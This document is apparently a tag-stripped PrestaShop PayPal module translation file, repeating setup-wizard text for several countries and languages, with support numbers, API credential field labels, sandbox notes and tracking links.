        + + Your country + change + Select your country + + Need help?]]> Give us a call : 03-6739-7360 or 0120-271-888 + call + + + Already have a PayPal business account + Select your solution + Learn more]]> + + Need PayPal to process all your card payments ? + Need PayPal in addition to your existing card processor ? + + Choose + + Website Payments Standard + + Start accepting payments immediately.]]> + No subscription fees, only a small transaction fee when you get paid. + + + Website Payments Plus + A professional platform that enables you to accept debit card, credit card and PayPal payments. Customised payment pages. Monthly subscription of JPY 3,000. To sign-up, please contact a PayPal customer service representative. + Please click on the SAVE button at the bottom of the page only once PayPal has approved your application for this product, otherwise you won’t be able to process any card payments. This process can take up to 3-5 days. + + Express Checkout + Boost your online sales by 30%* with a simple 3-click checkout process. + *Source: Forrester research conducted in March 2011 + + Sign up for your free PayPal Business account + + Process payments on your online shop + + Provide your PayPal API credentials to PrestaShop + Indicate the email you used when you signed up for a PayPal Business account + Get my PayPal API credentials + Click here and enter your PayPal email login and password in the pop-up, then copy and paste your PayPal API credentials into the fields below. + API username + API password + API signature + API business e-mail + Please check that you have copied in all the characters. + + To finalize setting up your PayPal account, you need to + Confirm your email address : check the email sent by PayPal when you created your account + Link your PayPal account to a bank account or a credit card : log into your PayPal account and go to “My business setup†+ + Configuration options + + Express Checkout shortcut + Offer your customers a 3-click checkout experience + + Use a Sandbox + + Activate a test environment in your PayPal account (developer only). + Learn more + Live mode (recommended) + Test mode + + Please note that if you choose to activate the test mode + + You won’t be able to accept payments yet +
      • You will need to come back to the PayPal module page in order to complete Step 3 before going live
      • +
      • You’ll need to create an account on the PayPal sandbox site (learn more)
      • +
      • You’ll need programming skills
      • + ]]> +
        + Are you sure you want to activate the test mode ? + + Payment type + Choose your way of processing payments (automatically vs.manual authorization). + Direct sales (recommended) + Authorization/Manual capture (payment shipping) + + Save + + You need to provide your PayPal API credentials in step 3 in order to accept payments. + + Congratulation ! + You can now start accepting payments with PayPal. + You can now start testing PayPal solutions. Once you've carried out your tests, don’t forget to come back to this page and activate the live mode in order to start accepting payments. + + + Sign Up + Once you've opened your PayPal account or if you have one already, then continue to step 3. + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=55 + + + Apply + + "Contact a PayPal sales representative at 03-6739-7360 or 0120-271-888]]> + Please only click the SAVE button at the bottom of the page once PayPal has approved your application for this product, otherwise you won't be able to process any card payments. This process can take up to 3-5 days" + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=82 + + + Sign Up + Once your account has been created, come back to this page in order to complete step 3. + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=56 + + + Sign Up + + + + + Apply + Contact a PayPal sales representative at 03-6739-7360 or 0120-271-888 + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=39 + + + + + + +
        + + + Yes + No + Pay with your card or your PayPal account + Leader in + online payments + Easy, secure, fast payments for your buyers. + It only takes a few minutes to get started with PayPal + + Get more buyers
        Over 100 million active PayPal accounts worldwide +
      • Access international buyers
        190 countries, 25 currencies
      • +
      • Reassure your buyers
        Buyers don’t need to share their private data
      • +
      • Accept all major payment methods
        Visa, Mastercard, PayPal, etc.
      • + ]]> +
        + + Your country + change + Select your country + + Need help?]]> Give us a call : 60-3-77237155 + call + + + Already have a PayPal business account + Select your solution + Learn more]]> + + Need PayPal to process all your card payments ? + Need PayPal in addition to your existing card processor ? + + Choose + + Website Payments Standard + + Start accepting payments immediately.]]> + No subscription fees, only a small transaction fee when you get paid. + + + + + + + Express Checkout + Boost your online sales by 30%* with a simple 3-click checkout process. + *Source: Forrester research conducted in March 2011 + + Sign up for your free PayPal Business account + + Process payments on your online shop + + Provide your PayPal API credentials to PrestaShop + Indicate the email you used when you signed up for a PayPal Business account + Get my PayPal API credentials + Click here and enter your PayPal email login and password in the pop-up, then copy and paste your PayPal API credentials into the fields below. + API username + API password + API signature + API business e-mail + Please check that you have copied in all the characters. + + To finalize setting up your PayPal account, you need to + Confirm your email address : check the email sent by PayPal when you created your account + Link your PayPal account to a bank account or a credit card : log into your PayPal account and go to “My business setup†+ + Configuration options + + Express Checkout shortcut + Offer your customers a 3-click checkout experience + + Use a Sandbox + + Activate a test environment in your PayPal account (developer only). + Learn more + Live mode (recommended) + Test mode + + Please note that if you choose to activate the test mode + + You won’t be able to accept payments yet +
      • You will need to come back to the PayPal module page in order to complete Step 3 before going live
      • +
      • You’ll need to create an account on the PayPal sandbox site (learn more)
      • +
      • You’ll need programming skills
      • + ]]> +
        + Are you sure you want to activate the test mode ? + + Payment type + Choose your way of processing payments (automatically vs.manual authorization). + Direct sales (recommended) + Authorization/Manual capture (payment shipping) + + Save + + You need to provide your PayPal API credentials in step 3 in order to accept payments. + + Congratulation ! + You can now start accepting payments with PayPal. + You can now start testing PayPal solutions. Once you've carried out your tests, don’t forget to come back to this page and activate the live mode in order to start accepting payments. + + + Sign Up + Once you've opened your PayPal account or if you have one already, then continue to step 3. + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=70 + + + + + + + + Sign Up + Once your account has been created, come back to this page in order to complete step 3. + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=71 + + + Sign Up + + + + + Apply + + Important: Please click on the SAVE button at the bottom of the page only once PayPal has approved your application for this product, otherwise you won’t be able to process any card payments. This process can take up to 3-5 days.]]> + If your application for Website Payments Pro has already been approved by PayPal, please go directly to step 3. + + + + + + + + +
        + + + Ja + Nee + Pay with your card or your PayPal account + Het + Nieuwe Betalen + Makkelijk, Veilig en Overal. + Het openen van een PayPal-rekening neemt maar enkele minuten in beslag + + De ideale manier om te betalen en betaald te worden. +
      • Miljoenen kopers kiezen PayPal vanwege de veilige en snelle koopervaring.
      • +
      • Verkopers zijn dol op PayPal, omdat ze daarmee hun omzet kunnen vergroten en betalingen beter kunnen beheren.
      • + ]]> +
        + + Land + Wijzig + Select your country + + Hulp nodig?]]> Neem contact op met een van onze adviseurs: 0900 265 8950 + call + + + Heeft u al een zakelijke PayPal-rekening + Kies het product wat bij u past + Meer weten]]> + + U wilt betalingen via creditcard en bankoverschrijving accepteren? + Wilt u PayPal als aanvulling op uw huidige betaalsysteem? + + Kies + + PayPal Standard Checkout + als u binnen enkele minuten met online verkopen wilt beginnen. ]]> + Geen vaste, opstart- of annuleringskosten: enkel een laag tarief voor het ontvangen van betalingen. + + + + + + + Express Checkout + u vergroot uw omzet en ontvangt uw betaling in slechts drie klikken (ook op mobiele apparaten). + + + Open nu uw zakelijke PayPal-rekening. + + Configureer uw instellingen om betalingen te kunnen accepteren + + Vul uw identificatiegegevens van PayPal in de PrestaShop omgeving + Indicate the email you used when you signed up for a PayPal Business account + Vraag mijn identificatiegegevens op bij PayPal + Klik op de knop "Vraag mijn identificatiegegevens op bij PayPal" en kopieer je gebruikersnaam en wachtwoord uit het informatieveld in de onderstaande velden. + API gebruikersnaam + API wachtwoord + Handtekening + API business e-mail + Kijk de gegevens die je net hebt gekopieerd goed na. Sommige velden bevatten namelijk veel karakters. + + Om de configuratie van je PayPal account te finaliseren zijn onderstaande acties noodzakelijk + Volg de procedure die via PayPal verstuurd is tijdens het aanmaken van je account om je e-mail te bevestigen. + Koppel je PayPal account aan een bankrekening of bankkaart. Om dit te doen log je in in je PayPal account en ga je naar de sectie "eerste stappen". + + PayPal configuratieopties + + Gebruik PayPal Express Checkout Shortcut + Geef je klanten de mogelijkheid om in twee stappen te betalen + + Gebruik de Sandbox + (aanbevolen) + Stel een testomgeving in in je PayPal account (enkel voor ontwikkelaars) + Meer info + Productieomgeving (aanbevolen) + Testomgeving + + Bij activeren van de test-modus + + Bent u nog niet in staat om betalingen te accepteren. +
      • Dient u, voor u live kunt gaan, de PayPal-identificatie gegevens in te vullen bij stap 3.
      • +
      • Heeft u een PayPal Sandbox account nodig (learn more).
      • +
      • Dient u kennis van programmeren of een programmeur beschikbaar te hebben.
      • + ]]> +
        + Weet u zeker dat de test wilt activeren ? + + Payment type + Kies de manier waarop je betaling wordt verwerkt (automatisch of handmatige autorisatie). + Direct sales (aanbevolen) + Authorization/Manual capture (automatische of handmatige autorisatie) + + Opslaan + + Om betalingen te kunnen ontvangen, dient u de PayPal-identificatie gegevens in te vullen bij stap 3. + + Gefeliciteerd ! + U kunt nu betalingen met PayPal ontvangen! + U kunt nu beginnen met het testen van PayPal oplossingen. Indien u de live-modus wilt activeren, kunt u de instelling op deze pagina + wijzigen en direct beginnen met het accepteren van betalingen via PayPal. + + + Rekening openen + Zodra u uw PayPal-rekening geopend heeft, kunt u op deze pagina stap 3 voltooien. + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=17 + + + Rekening openen + + + + + Rekening openen + Zodra u uw PayPal-rekening geopend heeft, kunt u op deze pagina stap 3 voltooien + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=18 + + + Rekening openen + Overslaan + + + + Overslaan + + + + Rekening openen +
        + + + Yes + No + Pay with your card or your PayPal account + Leader in + online payments + Easy, secure, fast payments for your buyers. + It only takes a few minutes to get started with PayPal + + Get more buyers
        Over 100 million active PayPal accounts worldwide +
      • Access international buyers
        190 countries, 25 currencies
      • +
      • Reassure your buyers
        Buyers don’t need to share their private data
      • +
      • Accept all major payment methods
        Visa, Mastercard, PayPal, etc.
      • + ]]> +
        + + Your country + change + Select your country + + Need help?]]> Give us a call : (888) 221-1161 + call + + + Already have a PayPal business account + Select your solution + Learn more]]> + + Need PayPal to process all your card payments ? + Need PayPal in addition to your existing card processor ? + + Choose + + Website Payments Standard + + Start accepting payments immediately.]]> + No subscription fees, only a small transaction fee when you get paid. + + + + + + + Express Checkout + Boost your online sales by 30%* with a simple 3-click checkout process. + *Source: Forrester research conducted in March 2011 + + Sign up for your free PayPal Business account + + Process payments on your online shop + + Provide your PayPal API credentials to PrestaShop + Indicate the email you used when you signed up for a PayPal Business account + Get my PayPal API credentials + Click here and enter your PayPal email login and password in the pop-up, then copy and paste your PayPal API credentials into the fields below. + API username + API password + API signature + API business e-mail + Please check that you have copied in all the characters. + + To finalize setting up your PayPal account, you need to + Confirm your email address : check the email sent by PayPal when you created your account + Link your PayPal account to a bank account or a credit card : log into your PayPal account and go to “My business setup†+ + Configuration options + + Express Checkout shortcut + Offer your customers a 3-click checkout experience + + Use a Sandbox + + Activate a test environment in your PayPal account (developer only). + Learn more + Live mode (recommended) + Test mode + + Please note that if you choose to activate the test mode + + You won’t be able to accept payments yet +
      • You will need to come back to the PayPal module page in order to complete Step 3 before going live
      • +
      • You’ll need to create an account on the PayPal sandbox site (learn more)
      • +
      • You’ll need programming skills
      • + ]]> +
        + Are you sure you want to activate the test mode ? + + Payment type + Choose your way of processing payments (automatically vs.manual authorization). + Direct sales (recommended) + Authorization/Manual capture (payment shipping) + + Save + + You need to provide your PayPal API credentials in step 3 in order to accept payments. + + Congratulation ! + You can now start accepting payments with PayPal. + You can now start testing PayPal solutions. Once you've carried out your tests, don’t forget to come back to this page and activate the live mode in order to start accepting payments. + + + Sign Up + Once you've opened your PayPal account or if you have one already, then continue to step 3. + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=52 + + + + + + + + Sign Up + Once your account has been created, come back to this page in order to complete step 3. + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=53 + + + Sign Up + + + + + Apply + Important: Please click on the SAVE button at the bottom of the page only once PayPal has approved your application for this product, otherwise you won’t be able to process any card payments. This process can take up to 3-5 days.]]> + If your application for Website Payments Pro has already been approved by PayPal, please go directly to step 3. + + + + + + + +
        + + + Tak + Nie + Pay with your card or your PayPal account + ÅšWIATOWY LIDER + PÅATNOÅšCI ONLINE + Åatwiejsze, szybsze i bezpieczniejsze pÅ‚atnoÅ›ci dla Twoich kupujÄ…cych. + Wdrożenie pÅ‚atnoÅ›ci PayPal zajmie Ci tylko kilka minut + + Dodatkowi klienci
        Na świecie jest już ponad 100 milionów aktywnych kont PayPal +
      • MiÄ™dzynarodowy zasiÄ™g
        PayPal jest dostępny w 190 krajach i 25 walutach
      • +
      • BezpieczeÅ„stwo dla Twoich klientów
        Kupujący nie muszą ujawniać swoich danych finansowych
      • +
      • Lokalne metody pÅ‚atnoÅ›ci
        Ulubione, lokalne metody płatności są podane jak na tacy
      • + ]]> +
        + + Twój kraj + ZmieÅ„ + Select your country + + Potrzebujesz pomocy ?]]> ZadzwoÅ„ do nas pod numer 801 386 686 + call + + + Masz już firmowe konto PayPal + WYBIERZ ROZWIÄ„ZANIE DOPASOWANE DO TWOICH POTRZEB + Dowiedz siÄ™ wiÄ™cej]]> + + Chcesz akceptować pÅ‚atnoÅ›ci za pomocÄ… systemu PayPal? + Chcesz akceptować PayPal jako dodatkowÄ… metodÄ™ pÅ‚atnoÅ›ci? + + Wybierz + + PayPal Standard + + Akceptuj pÅ‚atnoÅ›ci PayPal już dziÅ›. Możesz wykorzystać gotowe przyciski pÅ‚atnoÅ›ci PayPal lub samodzielnie dostosować rozwiÄ…zanie oparte na kodzie HTML.]]> + Bez opÅ‚at abonamentowych. OpÅ‚aty naliczane sÄ… tylko za odbiór pÅ‚atnoÅ›ci. + + + + + + + PayPal Express + + DziÄ™ki prostocie procesu realizacji transakcji klienci częściej i regularniej kupujÄ… w Twoim sklepie, a Twoja sprzedaż wzrasta nawet o 30%*.]]> + Bez opÅ‚at abonamentowych. OpÅ‚aty naliczane sÄ… tylko za odbiór pÅ‚atnoÅ›ci. + + *ŹródÅ‚o: badania firmy Forrester zrealizowane w marcu 2011 + + ZAÅÓŻ FIRMOWE KONTO PAYPAL + + ODBIERAJ PÅATNOÅšCI BEZPOÅšREDNIO ZA POMOCÄ„ SWOJEGO SKLEPU INTERNETOWEGO + + Przekaż dane uwierzytelniajÄ…ce API swojego konta PayPal do systemu PrestaShop + Indicate the email you used when you signed up for a PayPal Business account + UZYSKAJ DANE UWIERZYTELNIAJÄ„CE SWOJEGO KONTA PAYPAL + Po klikniÄ™ciu przycisku Uzyskaj dane uwierzytelniajÄ…ce swojego konta PayPal wprowadź w maÅ‚ym oknie pojawiajÄ…cym siÄ™ na tle bieżącej strony adres e-mail i hasÅ‚o swojego konta PayPal, skopiuj dane uwierzytelniajÄ…ce API swojego konta PayPal, a nastÄ™pnie wklej w polach poniżej. + Użytkownik API + HasÅ‚o API + Podpis API + API business e-mail + Upewnij siÄ™, że wszystkie znaki zostaÅ‚y przez Ciebie poprawnie skopiowane i wklejone. + + Aby zakoÅ„czyć konfiguracjÄ™ konta PayPal, musisz + Potwierdzić swój adres email: odszukaj wiadomość e-mail wysÅ‚anÄ… przez system PayPal po zaÅ‚ożeniu konta PayPal. + Powiąż ze swoim kontem PayPal kartÄ™ kredytowÄ… lub rachunek bankowy: zaloguj siÄ™ do swojego konta PayPal i kliknij Å‚Ä…cze ]]>Powiąż kartÄ™ z kontem PayPal]]> i potwierdź jÄ… lub Å‚Ä…cze ]]>Powiąż rachunek bankowy z kontem PayPal]]> i potwierdź go. + + Opcje konfiguracji + + Wybierz PayPal Express + pozwól swoim klientom pÅ‚acić dwoma klikniÄ™ciami + + Skorzystaj z platformy testowej Sandbox + + skorzystaj ze Å›rodowiska testowego, aby wypróbować system PayPal. + Dowiedz siÄ™ wiÄ™cej + Tryb rzeczywisty + Tryb testowy + + W Å›rodowisku testowym Sandbox + + konieczne bÄ™dzie stworzenie testowych kont PayPal dla sprzedawcy i kupujÄ…cego (dowiedz sie wiÄ™cej) +
      • nie bÄ™dzie można akceptować rzeczywistych pÅ‚atnoÅ›ci
      • +
      • Aby akceptować rzeczywiste pÅ‚atnoÅ›ci, przejdź do kroku numer 3 na tej stronie.
      • + ]]> +
        + Chcesz skorzystać ze środowiska testowego ? + + Metoda płatności + Wybierz sposób dokonywania płatności (automatycznie vs. ręczna autoryzacja). + Direct sales (recommended) + Authorization/Manual capture (payment shipping) + + Zachowaj + + Musisz uzupełnić dane uwierzytelniające swojego konta PayPal w kroku numer 3, aby móc akceptować rzeczywiste płatności. + + Konfiguracja przebiegła pomyślnie ! + Teraz możesz już akceptować płatności PayPal. + Teraz możesz już testować płatności PayPal. Pamiętaj, że musisz wrócić do tej strony, aby aktywować tryb rzeczywisty i akceptować płatności PayPal. + + + Załóż konto + Po założeniu konta, wróć do tej strony, aby dokończyć proces. + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=32 + + + + + + + + Załóż konto + Po założeniu konta, wróć do tej strony, aby dokończyć proces. + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=33 + + + + + + + + + + + + + Pomiń ten krok + + + +
        + + + Sim + Não + Pague com o PayPal em 8x sem juros + Líder em + Pagamentos online + Fácil, seguro, rápido pagamento para seus clientes. + Só leva alguns minutos para começar com o PayPal + + Conquiste mais clientes
        Mais de 100 milhões de contas ativas no Paypal mundialmente +
      • Acesse clientes internacionais
        190 países, 25 moedas
      • +
      • Dê garantia aos seus clientes
        Compradores não precisam compartilhar informações privadas
      • +
      • Aceite todos os principais métodos de pagamento
        Visa, Mastercard, PayPal, etc.
      • + ]]> +
        + + Seu país + Mudar + Selecione seu país + + Precisa de Ajuda?]]> Entre em contato:08008921555]]>(Serviço de atendimento ao cliente) + Ligue + + + Já tem uma conta PayPal para empresa + Selecione sua solução + Saiba mais]]> + + Precisa do Paypal para processar todos seus pagamentos por cartão? + Precisa do Paypal além do seu processador de cartão de crédito atual? + + Escolher + + Website Payments Standard + + Comece a aceitar pagamentos imediatamente.]]> + Sem taxa de assinatura, somente uma pequena taxa de transação quando você recebe pagamento. + + + + + + + Checkout Express + Aumente em 30% suas vendas on-line * com um simples processo de 3 cliques para a finalização da compra. + *Fonte1: Pesquisa Forrester conduzida em março de 2011 + + Registre-se para sua conta para empresa gratuíta do Paypal + + Processe pagamentos na sua loja virtual + + Forneça suas credenciais da API do Paypal para o PrestaShop + Indique o email que você usou quando você se cadastrou para uma conta para empresa do Paypal + Obtenha minhas credenciais da API do PayPal + Clique aqui e coloque no pop-up seu email e senha de login no Paypal, então copie e cole suas credenciais da API do PayPal nos campos abaixo. + API usuário + API senha + API assinatura + API e-mail da empresa + Por favor verifique que você tenha copiado todos os caractéres. + + Para finalizar a configuração da sua conta Paypal, você precisa + Confirmar seu endereço de email : veja o email enviado pelo Paypal quando você criou sua conta + Vincule sua conta do Paypal à uma conta bancária ou uma conta de cartão de crédito: Acesse sua conta PayPal e vá à “My business setup†+ + Opções de Configuração + + Atalho para Checkout Express + Ofereça ao seu cliente uma experiência de 3 cliques para finalização da compra + + Use uma Sandbox + + Ative um ambiente teste em sua conta Paypal (somente para desenvolvedores). + Saiba mais + Modo Live (recomendado) + Modo teste + + Por favor note que se você escolher ativar o modo teste + + Você ainda não poderá aceitar pagamentos +
      • Você vai precisar voltar para a página do módulo PayPal para poder completar o Passo 3 antes de colocar no ar
      • +
      • Você vai precisar criar uma conta no site sandbox do PayPal (saiba mais)
      • +
      • Você vai precisar entender de programação
      • + ]]> +
        + Você tem certeza que você quer ativar o modo teste? + + Tipo de pagamento + Escolha sua maneira de processar pagamentos (automaticamente vs.autorização manual). + Vendas diretas (recomendado) + Autorização/Captura manual (payment shipping) + + Salvar + + Você precisa fornecer suas credenciais da API do Paypal no passo 3 para poder aceitar pagamentos. + + Parabéns! + Você pode começar agora a aceitar pagamentos com PayPal. + Você pode começar agora a testar as soluções do PayPal. Uma vez que você realizar seus testes, não esqueça de voltar para esta página e ativar o modo live para começar a aceitar pagamentos. + + + Cadastre-se + Uma vez que você abriu sua conta PayPal, ou se você já tem uma, continue no passo 3. + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=79 + + + + + + + + Cadastre-se + Uma vez que sua conta for criada, volte nesta página para completar o passo 3. + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=80 + + + Cadastre-se + + + + + Cadastre-se + + Importante: Por favor clique no botão SALVAR no pé da página quando o Paypal aprovar seu pedido de cadastro para este produto, ao contrário você não conseguirá processar nenhum pagamento por cartão. Este processo pode levar de 3 a 5 dias.]]> + Se o seu pedido de cadastro para Website Payments Pro já foi aprovado pelo Paypal, por favor vá diretamente para o passo 3. + + + + + + + + +
        + + + Yes + No + Pay with your card or your PayPal account + Leader in + online payments + Easy, secure, fast payments for your buyers. + It only takes a few minutes to get started with PayPal + + Get more buyers
        Over 100 million active PayPal accounts worldwide +
      • Access international buyers
        190 countries, 25 currencies
      • +
      • Reassure your buyers
        Buyers don’t need to share their private data
      • +
      • Accept all major payment methods
        Visa, Mastercard, PayPal, etc.
      • + ]]> +
        + + Your country + change + Select your country + + Need help?]]> Give us a call :+65 6510 4584]]>(a Singapore telephone number) + call + + + Already have a PayPal business account + Select your solution + Learn more]]> + + Need PayPal to process all your card payments ? + Need PayPal in addition to your existing card processor ? + + Choose + + Website Payments Standard + + Start accepting payments immediately.]]> + No subscription fees, only a small transaction fee when you get paid. + + + + + + + Express Checkout + Boost your online sales by 30%* with a simple 3-click checkout process. + *Source: Forrester research conducted in March 2011 + + Sign up for your free PayPal Business account + + Process payments on your online shop + + Provide your PayPal API credentials to PrestaShop + Indicate the email you used when you signed up for a PayPal Business account + Get my PayPal API credentials + Click here and enter your PayPal email login and password in the pop-up, then copy and paste your PayPal API credentials into the fields below. + API username + API password + API signature + API business e-mail + Please check that you have copied in all the characters. + + To finalize setting up your PayPal account, you need to + Confirm your email address : check the email sent by PayPal when you created your account + Link your PayPal account to a bank account or a credit card : log into your PayPal account and go to “My business setup†+ + Configuration options + + Express Checkout shortcut + Offer your customers a 3-click checkout experience + + Use a Sandbox + + Activate a test environment in your PayPal account (developer only). + Learn more + Live mode (recommended) + Test mode + + Please note that if you choose to activate the test mode + + You won’t be able to accept payments yet +
      • You will need to come back to the PayPal module page in order to complete Step 3 before going live
      • +
      • You’ll need to create an account on the PayPal sandbox site (learn more)
      • +
      • You’ll need programming skills
      • + ]]> +
        + Are you sure you want to activate the test mode ? + + Payment type + Choose your way of processing payments (automatically vs.manual authorization). + Direct sales (recommended) + Authorization/Manual capture (payment shipping) + + Save + + You need to provide your PayPal API credentials in step 3 in order to accept payments. + + Congratulation ! + You can now start accepting payments with PayPal. + You can now start testing PayPal solutions. Once you've carried out your tests, don’t forget to come back to this page and activate the live mode in order to start accepting payments. + + + Sign Up + Once you've opened your PayPal account or if you have one already, then continue to step 3. + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=79 + + + + + + + + Sign Up + Once your account has been created, come back to this page in order to complete step 3. + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=80 + + + Sign Up + + + + + Apply + + Important: Please click on the SAVE button at the bottom of the page only once PayPal has approved your application for this product, otherwise you won’t be able to process any card payments. This process can take up to 3-5 days.]]> + If your application for Website Payments Pro has already been approved by PayPal, please go directly to step 3. + + + + + + + + +
        + + + Yes + No + Pay with your card or your PayPal account + Leader in + online payments + Easy, secure, fast payments for your buyers. + It only takes a few minutes to get started with PayPal + + Get more buyers
        Over 100 million active PayPal accounts worldwide +
      • Access international buyers
        190 countries, 25 currencies
      • +
      • Reassure your buyers
        Buyers don’t need to share their private data
      • +
      • Accept all major payment methods
        Visa, Mastercard, PayPal, etc.
      • + ]]> +
        + + Your country + change + Select your country + + Need help?]]> Visit www.Paypal.com]]> + + + + Already have a PayPal business account + Select your solution + Learn more]]> + + Need PayPal to process all your card payments ? + Need PayPal in addition to your existing card processor ? + + Choose + + Website Payments Standard + + Start accepting payments immediately.]]> + No subscription fees, only a small transaction fee when you get paid. + + + + + + + Express Checkout + Boost your online sales by 30%* with a simple 3-click checkout process. + *Source: Forrester research conducted in March 2011 + + Sign up for your free PayPal Business account + + Process payments on your online shop + + Provide your PayPal API credentials to PrestaShop + Indicate the email you used when you signed up for a PayPal Business account + Get my PayPal API credentials + Click here and enter your PayPal email login and password in the pop-up, then copy and paste your PayPal API credentials into the fields below. + API username + API password + API signature + API business e-mail + Please check that you have copied in all the characters. + + To finalize setting up your PayPal account, you need to + Confirm your email address : check the email sent by PayPal when you created your account + Link your PayPal account to a bank account or a credit card : log into your PayPal account and go to “My business setup†+ + Configuration options + + Express Checkout shortcut + Offer your customers a 3-click checkout experience + + Use a Sandbox + + Activate a test environment in your PayPal account (developer only). + Learn more + Live mode (recommended) + Test mode + + Please note that if you choose to activate the test mode + + You won’t be able to accept payments yet +
      • You will need to come back to the PayPal module page in order to complete Step 3 before going live
      • +
      • You’ll need to create an account on the PayPal sandbox site (learn more)
      • +
      • You’ll need programming skills
      • + ]]> +
        + Are you sure you want to activate the test mode ? + + Payment type + Choose your way of processing payments (automatically vs.manual authorization). + Direct sales (recommended) + Authorization/Manual capture (payment shipping) + + Save + + You need to provide your PayPal API credentials in step 3 in order to accept payments. + + Congratulation ! + You can now start accepting payments with PayPal. + You can now start testing PayPal solutions. Once you've carried out your tests, don’t forget to come back to this page and activate the live mode in order to start accepting payments. + + + Sign Up + Once you've opened your PayPal account or if you have one already, then continue to step 3. + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=45 + + + + + + + + Sign Up + Once your account has been created, come back to this page in order to complete step 3. + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=46 + + + Sign Up + + + + + Apply + + + + + + + + +
        + + + Yes + No + Pay with your card or your PayPal account + Leader in + online payments + Easy, secure, fast payments for your buyers. + It only takes a few minutes to get started with PayPal + + Get more buyers
        Over 100 million active PayPal accounts worldwide +
      • Access international buyers
        190 countries, 25 currencies
      • +
      • Reassure your buyers
        Buyers don’t need to share their private data
      • +
      • Accept all major payment methods
        Visa, Mastercard, PayPal, etc.
      • + ]]> +
        + + Your country + change + Select your country + + Need help?]]> Give us a call : 65-6510-4650 + call + + + Already have a PayPal business account + Select your solution + Learn more]]> + + Need PayPal to process all your card payments ? + Need PayPal in addition to your existing card processor ? + + Choose + + Website Payments Standard + + Start accepting payments immediately.]]> + No subscription fees, only a small transaction fee when you get paid. + + + + + + + Express Checkout + Boost your online sales by 30%* with a simple 3-click checkout process. + *Source: Forrester research conducted in March 2011 + + Sign up for your free PayPal Business account + + Process payments on your online shop + + Provide your PayPal API credentials to PrestaShop + Indicate the email you used when you signed up for a PayPal Business account + Get my PayPal API credentials + Click here and enter your PayPal email login and password in the pop-up, then copy and paste your PayPal API credentials into the fields below. + API username + API password + API signature + API business e-mail + Please check that you have copied in all the characters. + + To finalize setting up your PayPal account, you need to + Confirm your email address : check the email sent by PayPal when you created your account + Link your PayPal account to a bank account or a credit card : log into your PayPal account and go to “My business setup†+ + Configuration options + + Express Checkout shortcut + Offer your customers a 3-click checkout experience + + Use a Sandbox + + Activate a test environment in your PayPal account (developer only). + Learn more + Live mode (recommended) + Test mode + + Please note that if you choose to activate the test mode + + You won’t be able to accept payments yet +
      • You will need to come back to the PayPal module page in order to complete Step 3 before going live
      • +
      • You’ll need to create an account on the PayPal sandbox site (learn more)
      • +
      • You’ll need programming skills
      • + ]]> +
        + Are you sure you want to activate the test mode ? + + Payment type + Choose your way of processing payments (automatically vs.manual authorization). + Direct sales (recommended) + Authorization/Manual capture (payment shipping) + + Save + + You need to provide your PayPal API credentials in step 3 in order to accept payments. + + Congratulation ! + You can now start accepting payments with PayPal. + You can now start testing PayPal solutions. Once you've carried out your tests, don’t forget to come back to this page and activate the live mode in order to start accepting payments. + + + Sign Up + Once you've opened your PayPal account or if you have one already, then continue to step 3. + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=67 + + + + + + + + Sign Up + Once your account has been created, come back to this page in order to complete step 3. + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=68 + + + Sign Up + + + + + Apply + + Important: Please click on the SAVE button at the bottom of the page only once PayPal has approved your application for this product, otherwise you won’t be able to process any card payments. This process can take up to 3-5 days.]]> + If your application for Website Payments Pro has already been approved by PayPal, please go directly to step 3. + + + + + + + + +
        + + + Yes + No + Pay with your card or your PayPal account + Leader in + online payments + Easy, secure, fast payments for your buyers. + It only takes a few minutes to get started with PayPal + + Get more buyers
        Over 100 million active PayPal accounts worldwide +
      • Access international buyers
        190 countries, 25 currencies
      • +
      • Reassure your buyers
        Buyers don’t need to share their private data
      • +
      • Accept all major payment methods
        Visa, Mastercard, PayPal, etc.
      • + ]]> +
        + + Your country + change + Select your country + + Need help?]]> Give us a call : +65 6590-5502]]>(a Singapore telephone number) + call + + + Already have a PayPal business account + Select your solution + Learn more]]> + + Need PayPal to process all your card payments ? + Need PayPal in addition to your existing card processor ? + + Choose + + Website Payments Standard + + Start accepting payments immediately.]]> + No subscription fees, only a small transaction fee when you get paid. + + + + + + + Express Checkout + Boost your online sales by 30%* with a simple 3-click checkout process. + *Source: Forrester research conducted in March 2011 + + Sign up for your free PayPal Business account + + Process payments on your online shop + + Provide your PayPal API credentials to PrestaShop + Indicate the email you used when you signed up for a PayPal Business account + Get my PayPal API credentials + Click here and enter your PayPal email login and password in the pop-up, then copy and paste your PayPal API credentials into the fields below. + API username + API password + API signature + API business e-mail + Please check that you have copied in all the characters. + + To finalize setting up your PayPal account, you need to + Confirm your email address : check the email sent by PayPal when you created your account + Link your PayPal account to a bank account or a credit card : log into your PayPal account and go to “My business setup†+ + Configuration options + + Express Checkout shortcut + Offer your customers a 3-click checkout experience + + Use a Sandbox + + Activate a test environment in your PayPal account (developer only). + Learn more + Live mode (recommended) + Test mode + + Please note that if you choose to activate the test mode + + You won’t be able to accept payments yet +
      • You will need to come back to the PayPal module page in order to complete Step 3 before going live
      • +
      • You’ll need to create an account on the PayPal sandbox site (learn more)
      • +
      • You’ll need programming skills
      • + ]]> +
